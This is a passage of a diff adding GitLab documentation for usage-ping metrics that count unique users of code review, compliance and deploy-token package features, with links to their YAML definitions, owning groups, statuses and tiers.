+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210301103859_i_code_review_user_mr_discussion_locked_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_mr_discussion_locked_weekly`
+
+Count of unique users per week who locked a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302105318_i_code_review_user_mr_discussion_locked_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_mr_discussion_unlocked_monthly`
+
+Count of unique users per month who unlocked a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210301103925_i_code_review_user_mr_discussion_unlocked_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_mr_discussion_unlocked_weekly`
+
+Count of unique users per week who unlocked a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302105258_i_code_review_user_mr_discussion_unlocked_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_publish_review_monthly`
+
+Count of unique users per month who publish their review as part of a merge request review
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184357_i_code_review_user_publish_review_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_publish_review_weekly`
+
+Count of unique users per week who publish their review as part of a merge request review
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184355_i_code_review_user_publish_review_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_remove_mr_comment_monthly`
+
+Count of unique users per month who removed a comment on a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175156_i_code_review_user_remove_mr_comment_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_remove_mr_comment_weekly`
+
+Count of unique users per month who removed a comment on a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175154_i_code_review_user_remove_mr_comment_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_remove_multiline_mr_comment_monthly`
+
+Count of unique users per month who remove a multiline comment in a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184409_i_code_review_user_remove_multiline_mr_comment_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_remove_multiline_mr_comment_weekly`
+
+Count of unique users per week who remove a multiline comment in a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184407_i_code_review_user_remove_multiline_mr_comment_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_reopen_mr_monthly`
+
+Count of unique users per month who reopened a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175140_i_code_review_user_reopen_mr_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_reopen_mr_weekly`
+
+Count of unique users per week who reopened a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175138_i_code_review_user_reopen_mr_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_resolve_conflict_monthly`
+
+Count of unique users per week who attempt to resolve a conflict through the ui
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210514013545_i_code_review_user_resolve_conflict_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_resolve_conflict_weekly`
+
+Count of unique users per week who attempt to resolve a conflict through the ui
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210514013545_i_code_review_user_resolve_conflict_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_resolve_thread_monthly`
+
+Count of unique users per month who resolve a thread in a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184330_i_code_review_user_resolve_thread_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_resolve_thread_weekly`
+
+Count of unique users per week who resolve a thread in a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184328_i_code_review_user_resolve_thread_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_review_requested_monthly`
+
+Count of unique users per month who request a review of a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184430_i_code_review_user_review_requested_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_review_requested_weekly`
+
+Count of unique users per week who request a review of a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184428_i_code_review_user_review_requested_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_reviewers_changed_monthly`
+
+Count of unique users per month who changed reviewers of a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210302114219_i_code_review_user_reviewers_changed_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_reviewers_changed_weekly`
+
+Count of unique users per week who changed reviewers of a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302114235_i_code_review_user_reviewers_changed_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_single_file_diffs_monthly`
+
+Count of unique users per month with diffs viewed file by file
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175124_i_code_review_user_single_file_diffs_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_single_file_diffs_weekly`
+
+Count of unique users per week with diffs viewed file by file
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216175122_i_code_review_user_single_file_diffs_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_time_estimate_changed_monthly`
+
+Count of unique users per month who changed time estimate of a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210301102134_i_code_review_user_time_estimate_changed_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_time_estimate_changed_weekly`
+
+Count of unique users per week who changed time estimate of a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302103539_i_code_review_user_time_estimate_changed_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_time_spent_changed_monthly`
+
+Count of unique users per month who changed time spent on a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210301102204_i_code_review_user_time_spent_changed_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_time_spent_changed_weekly`
+
+Count of unique users per week who changed time spent on a MR
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302103615_i_code_review_user_time_spent_changed_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_toggled_task_item_status_monthly`
+
+Count of unique users per month who toggled a task item in a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184312_i_code_review_user_toggled_task_item_status_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_toggled_task_item_status_weekly`
+
+Count of unique users per week who toggled a task item in a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184310_i_code_review_user_toggled_task_item_status_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_unapprove_mr_monthly`
+
+Count of unique users per month who unapprove a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184326_i_code_review_user_unapprove_mr_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_unapprove_mr_weekly`
+
+Count of unique users per week who unapprove a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184324_i_code_review_user_unapprove_mr_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_unmarked_as_draft_monthly`
+
+Count of unique users per month who unmark a merge request as a draft
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184426_i_code_review_user_unmarked_as_draft_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_unmarked_as_draft_weekly`
+
+Count of unique users per week who unmark a merge request as a draft
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184424_i_code_review_user_unmarked_as_draft_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_unresolve_thread_monthly`
+
+Count of unique users per month who unresolve a thread in a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184334_i_code_review_user_unresolve_thread_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_unresolve_thread_weekly`
+
+Count of unique users per week who unresolve a thread in a merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184332_i_code_review_user_unresolve_thread_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_vs_code_api_request_monthly`
+
+Count of unique users per month who use GitLab Workflow for VS Code
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184446_i_code_review_user_vs_code_api_request_monthly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.code_review.i_code_review_user_vs_code_api_request_weekly`
+
+Count of unique users per week who use GitLab Workflow for VS Code
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184444_i_code_review_user_vs_code_api_request_weekly.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.compliance.a_compliance_audit_events_api_monthly`
+
+Unique users that have used the Audit Events API in a given month.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183942_a_compliance_audit_events_api_monthly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.compliance.a_compliance_audit_events_api_weekly`
+
+Unique users that have used the Audit Events API in a given week.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183940_a_compliance_audit_events_api_weekly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.compliance.compliance_total_unique_counts_monthly`
+
+Unique count of compliance actions in a given month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183946_compliance_total_unique_counts_monthly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.compliance.compliance_total_unique_counts_weekly`
+
+Unique count of compliance actions in a given week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183944_compliance_total_unique_counts_weekly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.compliance.g_compliance_audit_events_monthly`
+
+Unique users who have viewed the audit event screen in a given month.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183930_g_compliance_audit_events_monthly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.compliance.g_compliance_audit_events_weekly`
+
+Number of unique visitors to group-level audit events screen in a given week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183928_g_compliance_audit_events_weekly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.compliance.g_compliance_dashboard_monthly`
+
+Unique users who have viewed the compliance dashboard in a given month.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183926_g_compliance_dashboard_monthly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.compliance.g_compliance_dashboard_weekly`
+
+Unique users who have looked at the compliance dashboard in a given week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183924_g_compliance_dashboard_weekly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.compliance.i_compliance_audit_events_monthly`
+
+Unique users that have viewed the instance-level audit events screen
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183934_i_compliance_audit_events_monthly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.compliance.i_compliance_audit_events_weekly`
+
+Unique users that have viewed the instance-level audit events screen
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183932_i_compliance_audit_events_weekly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.compliance.i_compliance_credential_inventory_monthly`
+
+Unique users who have viewed the credential inventory in a given month.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183938_i_compliance_credential_inventory_monthly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.compliance.i_compliance_credential_inventory_weekly`
+
+Unique visitors to the credential inventory screen in a given week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183936_i_compliance_credential_inventory_weekly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.deploy_token_packages_total_unique_counts_monthly`
+
+A monthly count of packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.deploy_token_packages_total_unique_counts_weekly`
+
+A weekly count of packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_composer_deploy_token_monthly`
+
+A monthly count of Composer packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_composer_deploy_token_weekly`
+
+A weekly count of Composer packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_conan_deploy_token_monthly`
+
+A monthly count of Conan packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_conan_deploy_token_weekly`
+
+A weekly count of Conan packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_container_deploy_token_monthly`
+
+A monthly count of container images published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_container_deploy_token_weekly`
+
+A weekly count of container images published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_debian_deploy_token_monthly`
+
+A monthly count of Debian packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_debian_deploy_token_weekly`
+
+A weekly count of Debian packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_generic_deploy_token_monthly`
+
+A monthly count of generic packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `broken`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_generic_deploy_token_weekly`
+
+A weekly count of generic packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_golang_deploy_token_monthly`
+
+A monthly count of Go modules published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_golang_deploy_token_weekly`
+
+A weekly count of Go modules published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_helm_deploy_token_monthly`
+
+Distinct Helm pakages deployed in recent 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210517074859_i_package_helm_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_helm_deploy_token_weekly`
+
+Distinct Helm pakages deployed in recent 7 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210517074851_i_package_helm_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_maven_deploy_token_monthly`
+
+A monthly count of Maven packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_maven_deploy_token_weekly`
+
+A weekly count of Maven packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_npm_deploy_token_monthly`
+
+A monthly count of npm packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_npm_deploy_token_weekly`
+
+A weekly count of npm packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_nuget_deploy_token_monthly`
+
+A monthly count of NuGet packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_nuget_deploy_token_weekly`
+
+A weekly count of NuGet packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_pypi_deploy_token_monthly`
+
+A monthly count of PyPI packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_pypi_deploy_token_weekly`
+
+A weekly count of Python packages published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_rubygems_deploy_token_monthly`
+
+Distinct count events for RubyGems packages published using a Deploy token in recent 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_rubygems_deploy_token_weekly`
+
+A weekly count of distinct RubyGems packages published using a deploy token
+
